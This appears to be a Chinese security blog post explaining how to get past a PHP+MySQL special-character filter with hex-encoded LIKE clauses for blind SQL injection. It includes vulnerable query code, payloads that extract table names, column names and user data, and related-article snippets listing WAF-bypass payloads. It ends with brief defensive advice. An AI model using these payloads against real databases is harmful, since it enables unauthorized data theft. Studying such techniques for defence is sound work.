<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    常規特殊字符被過濾的一種繞過技巧

    VSole2022-12-14 17:17:05

    今天來分享一個繞過過濾比如 ' " ( ) % 等字符的場景,測試環境為 PHP+Mysql

    假設場景

    php 代碼通過 HTTP GET 參數 param1 接收用戶輸入的內容,然后經過自定義的過濾函數 input-filter 過濾可能導致 SQL 注入的特殊字符。

    在 SQL 查詢中,用戶數據($user_input)作為列名插入到查詢語句中,比如:

    $query = mysqli_query($connection,"SELECT $user_input,time FROM stats WHERE depth = '$depth' ORDER BY times ASC");  
    

    應用程序代碼執行 SQL 語句后,不會在頁面上輸出任何內容,那么就無法使用聯合查詢的技術來獲取數據,而代碼中也未使用 mysqli_error() 函數來打印錯誤信息,那么也無法使用報錯注入的方式來回顯數據。

    唯一可以利用的技術就只有盲注了,而當前環境的代碼中對常見的特殊字符進行了過濾,過濾列表如下:

    " < > = ' ( ) &  @ % #  ;  
    

    當我們使用機遇布爾盲注的有效載荷時,比如:

    from dual where true and 1< ascii ( substring ( database (),1,1 ) )
    

    經過函數過濾后,變成了:

    from dual where true and 1  ascii substring database ,1,1
    

    <、(、) 被過濾了

    假如我們使用 URL 編碼特殊字符,但是,URL 編碼中都包含特殊字符 %,也是被過濾了的,比如:

    from dual where true and 1 %3C ascii %28 substring %28 database %28 %29 %2C 1 %2C 1 %29%29
    

    過濾后變成了:

    from dual where true and 1 3C ascii 28 substring 28 database 28 29 2C 1 2C 1 2929 
    

    嘗試繞過

    基礎

    在這種情況下,我們利用漏洞的方式是盲注,為了避免過濾特殊字符,結合 where 條件,使用帶有十六進制表示的 like子句。

    like 子句不僅接受單引號中的輸入內容,還支持十六進制的內容:

    Text         Hex encoded value%user%         257573657225
    

    比如:

    select column_name from table_name where value_in_column like '%user%'
    

    使用十六進制編碼的語句:

     select column_name from table_name where value_in_column like 0x257573657225
    

    測試

    提取表名

    假如我們有個表名為 auth,使用 like 子句來查找該表名的第一個字符 a 的有效載荷:

    select table_name from information_schema.tables where table_name like 'a%' limit 0,1
    

    使用十六進制編碼的 payload:

    select table_name from information_schema.tables where table_name like 0x6125 limit 0,1
    

    在上面的案例中,用戶輸入的 payload 為:

    table_name from information_schema.tables where table_name like 0x6125 limit 0,1-- -
    

    后端執行的完整 SQL 語句為:

    select table_name from information_schema.tables where table_name like 0x6125 limit 0,1-- - ,time FROM stats WHERE AND depth = '$depth' ORDER BY times ASC
    

    提取列名

    假設表 auth 中有一個列名為 username,通常情況下的查詢語句為:

    select column_name from information_schema.columns where table_name like 'auth' and column_name like 'u%' limit 0,1
    

    采用十六進制編碼后的語句為:

    select column_name from information_schema.columns where table_name like 0x61757468 and column_name like 0x7525 limit 0,1
    

    提取數據

    到目前來說已知表名 auth,列名 username,接下來利用 like 查詢首字母為 a 的數據:

    select username from auth where username like 'a%' limit 0,1
    

    同樣使用十六進制編碼:

    select username from auth where username like 0x6125 limit 0,1
    

    總結

    雖然常規特殊字符被過濾了,利用起來比較復雜,但還是有一條路可以走,對于這部分繞過方式的防御,可以在過濾的關鍵詞中再增加一些,比如 select、like 等查詢關鍵詞,還有常見的注釋符,比如 -、#、/* 等。

    select特殊字符
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    今天來分享一個繞過過濾比如?等字符的場景,測試環境為 PHP+Mysql假設場景php 代碼通過 HTTP GET 參數 param1 接收用戶輸入的內容,然后經過自定義的過濾函數?過濾可能導致 SQL 注入的特殊字符。在 SQL 查詢中,用戶數據作為列名插入到查詢語句中,比如:$query = mysqli_query;函數來打印錯誤信息,那么也無法使用報錯注入的方式來回顯數據。auth,使用 like 子句來查找該表名的第一個字符?
    BypassD盾之SQL注入繞過總結
    0x01 %00繞過WAF輸入一個單引號頁面報錯首先閉合,這里用')閉合keywords=1') %23. order by x 被攔截,用--%0a代替空格即可直接上union select會一直卡著,沒有任何返回把空格都改為--%0a,成功響應,在 select 跟 1,2,3... 之間用兩個 --%0a 會無響應在 1 后面加上?并 url 編碼,原理是 waf 把空字節認為是結束導致了后面的語句可以繞過0x02 Base64繞WAF發現參數為 base64 編碼測試字符發現頁面報錯,使用報錯注入來出數據133 and updatexml. 這里可以使用16進制或者科學計數法0x1或1e1keywords=11'and-updatexml
    Bypass安全狗MySQL注入
    風險描述SQL注入主要發生在應用程序數據庫層面上。程序員在設計程序的時候,沒有對用戶的輸入進行校驗,含有特殊字符語句會被數據庫誤認為是正常的SQL指令而運行,從而使數據庫受到攻擊,可能導致數據被竊取、更改、刪除,以及進一步導致網站被嵌入惡意代碼、被植入后門程序等危害。
    SQL注入主要發生在應用程序數據庫層面上
    另類字符集編碼繞過繞過原理HTTP協議兼容性:HTTP Charset的多樣性Content-Type頭中使用charset定義字符集的應用場景不只有在responses中,request中同樣可以使用。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类